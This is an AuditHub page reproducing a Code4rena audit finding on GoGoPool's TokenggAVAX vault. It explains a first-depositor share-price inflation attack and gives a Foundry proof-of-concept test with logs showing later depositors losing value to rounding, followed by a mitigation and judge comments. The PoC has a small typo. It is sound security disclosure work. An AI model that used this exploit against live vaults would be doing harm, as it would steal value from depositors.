GoGoPool contest - eierina's results

Liquid staking for Avalanche.

General Information

Platform: Code4rena

Start Date: 15/12/2022

Pot Size: $128,000 USDC

Total HM: 28

Participants: 111

Period: 19 days

Judge: GalloDaSballo

Total Solo HM: 1

Id: 194

League: ETH

GoGoPool

Findings Distribution

Researcher Performance

Rank: 97/111

Findings: 1

Award: $14.91

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

14.9051 USDC - $14.91

Labels

bug
3 (High Risk)
satisfactory
upgraded by judge
duplicate-209

External Links

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/4c52c79cbc4c5c35620399afee55b312bfe06799/contracts/contract/tokens/upgradeable/ERC4626Upgradeable.sol#L123

Vulnerability details

Impact

Reporting this issue as medium severity as a leak of value.

Solmate's ERC4626 convertToShares calculates shares as assets * totalSupply / totalAssets(). It is possible to exploit this function by depositing 1 wei of asset in exchange 1 share (totalSupply = 1) right after the creation of the TokenggAVAX contract, and then transfer fake rewards to the contract inflating the totalAssets(). This can cause the share price to be inflated to as high as 1:1e18, which will be used as the base for all subsequent deposits. As a result, early depositors will receive a larger share of the vault during the first cycle. Additionally, the rounding precision of deposited tokens may also be affected, resulting in a lesser amount of shares being received by the depositor.

Proof of Concept

Add following test to TokenggAVAX.t.sol.

import "@openzeppelin/contracts/utils/Strings.sol";

function fastForward(uint256 time) internal {
	uint256 blocks = time / 12 > 0
		? time / 12
		: 1;

	vm.warp(block.timestamp + time);
	vm.roll(block.number + blocks);

	string memory s = string.concat("FFWD to new block timestamp ", Strings.toString(block.timestamp), " - block number ", Strings.toString(block.number));
	emit log_string("\r");
	emit log_string(s);
}

function logPriceDetails() internal {
	emit log_string("\r");
	string memory s = string.concat("Share price ", Strings.toString(ggAVAX.convertToAssets(1)), " - total assets ", Strings.toString(ggAVAX.totalAssets()), " - total supply ", Strings.toString(ggAVAX.totalSupply()), " - balanceOf ", Strings.toString(wavax.balanceOf(address(ggAVAX))));
	emit log_string(s);
}

function logDeposit(uint256 amount, address receiver) internal {
	uint256 shares = ggAVAX.deposit(amount, receiver);
	string memory s = string.concat("Deposit amount ", Strings.toString(amount), " - shares amount ", Strings.toString(shares));
	emit log_string("\r");
	emit log_string(s);
}

function testPriceManipulation() public {
	
	vm.startPrank(alice);
	wavax.approve(address(ggAVAX), type(uint).max);

	// init total supply as 1:1 share with token as one.
	logDeposit(1 wei, alice);
	logPriceDetails();

	// transfer fake rewards to TokenggAVAX contract to inflate totalAsset()
	emit log_string("\r");
	emit log_string("Transfer 100 ethers of fake rewards");
	wavax.transfer(address(ggAVAX), 100 ether - 1 wei);

	logPriceDetails();

	fastForward(ggAVAX.rewardsCycleEnd());

	for(int i=0; i<5; i++) {
	
		emit log_string("\r");
		emit log_string("Sync rewards");		
		ggAVAX.syncRewards();

		// warp 
		fastForward(ggAVAX.rewardsCycleLength());

		logPriceDetails();
		logDeposit(200 ether, alice);			// converts to 2 share
		logDeposit(200 ether - 1 wei, alice);	// converts to 1 share
		logDeposit(500 ether, alice);			// converts to 5 shares
		logDeposit(500 ether - 1 we, alice);	// converts to 2 shares
	}

	vm.stopPrank();
}
Running 1 test for test/unit/TokenggAVAX.t.sol:TokenggAVAXTest
[PASS] testBugManipulation3() (gas: 721501)
Logs:
  Deposit amount 1 - shares amount 1
  Share price 1 - total assets 1 - total supply 1 - balanceOf 1
  Transfer 100 ethers of fake rewards
  Share price 1 - total assets 1 - total supply 1 - balanceOf 100000000000000000000
  FFWD to new block timestamp 1209601 - block number 100801
  FFWD to new block timestamp 2419201 - block number 201601
  Share price 100000000000000000000 - total assets 100000000000000000000 - total supply 1 - balanceOf 100000000000000000000
  Deposit amount 200000000000000000000 - shares amount 2
  Deposit amount 199999999999999999999 - shares amount 1
  Deposit amount 500000000000000000000 - shares amount 4
  Deposit amount 499999999999999999999 - shares amount 3
  FFWD to new block timestamp 3628801 - block number 302401
  Share price 136363636363636363636 - total assets 1499999999999999999998 - total supply 11 - balanceOf 1499999999999999999998
  Deposit amount 200000000000000000000 - shares amount 1
  Deposit amount 199999999999999999999 - shares amount 1
  Deposit amount 500000000000000000000 - shares amount 3
  Deposit amount 499999999999999999999 - shares amount 3
  FFWD to new block timestamp 4838401 - block number 403201
  Share price 152631578947368421052 - total assets 2899999999999999999996 - total supply 19 - balanceOf 2899999999999999999996
  Deposit amount 200000000000000000000 - shares amount 1
  Deposit amount 199999999999999999999 - shares amount 1
  Deposit amount 500000000000000000000 - shares amount 3
  Deposit amount 499999999999999999999 - shares amount 3
  FFWD to new block timestamp 6048001 - block number 504001
  Share price 159259259259259259259 - total assets 4299999999999999999994 - total supply 27 - balanceOf 4299999999999999999994
  Deposit amount 200000000000000000000 - shares amount 1
  Deposit amount 199999999999999999999 - shares amount 1
  Deposit amount 500000000000000000000 - shares amount 3
  Deposit amount 499999999999999999999 - shares amount 3
  FFWD to new block timestamp 7257601 - block number 604801
  Share price 162857142857142857142 - total assets 5699999999999999999992 - total supply 35 - balanceOf 5699999999999999999992
  Deposit amount 200000000000000000000 - shares amount 1
  Deposit amount 199999999999999999999 - shares amount 1
  Deposit amount 500000000000000000000 - shares amount 3
  Deposit amount 499999999999999999999 - shares amount 3

Tools Used

n/a

This exploit can only works if the starting supply is either 0 or a very small number or, alternatively, if everyone withdraws and the total supply of shares becomes 0. This issue can be resolved by ensuring that someone always deposits tokens first, so that the total supply is high enough to make this exploit irrelevant. As a last resort, tokens can be forcibly deposited during the construction of the vault to prevent this issue from occurring, unless someone is watching the vault factory contract.

#0 - 0xminty

2023-01-04T02:18:58Z

dupe of #815

#1 - c4-judge

2023-01-08T13:11:28Z

GalloDaSballo marked the issue as duplicate of #209

#2 - c4-judge

2023-01-29T18:38:25Z

GalloDaSballo changed the severity to 3 (High Risk)

#3 - c4-judge

2023-02-08T08:18:36Z

GalloDaSballo marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter